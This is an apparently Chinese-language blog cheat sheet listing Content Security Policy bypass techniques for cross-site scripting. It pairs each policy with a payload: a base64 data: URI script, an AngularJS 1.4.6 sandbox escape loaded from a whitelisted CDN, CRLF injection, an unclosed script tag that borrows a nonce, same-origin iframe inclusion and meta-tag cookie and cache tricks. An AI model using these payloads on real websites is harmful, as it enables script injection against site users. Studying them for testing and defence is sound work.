0%

csp 策略及绕过

部分csp绕过方法

unsafe-eval ?

csp策略

1
Content-Security-Policy: script-src 'unsafe-eval' data: 

绕过代码
1
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

CDN加载旧版js

csp策略

1
Content-Security-Policy: script-src: https://cdnjs.cloudflare.com ;

exp
1
2
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

CRLF绕过

将csp策略挤到返回包的body中,记得注意content-length

不完整script标签绕过

当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性

csp

1
2
3
4
5
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>//do some thing
</script>

exp
1
<script src=data:text/plain,alert(1)

iframe禁止js

  • iframe标签可以设置csp,可以禁止掉某些前端过滤的js
  • 如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP

meta

meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

1
<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用。
1
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

还有更多可以参考下面的链接

参考链接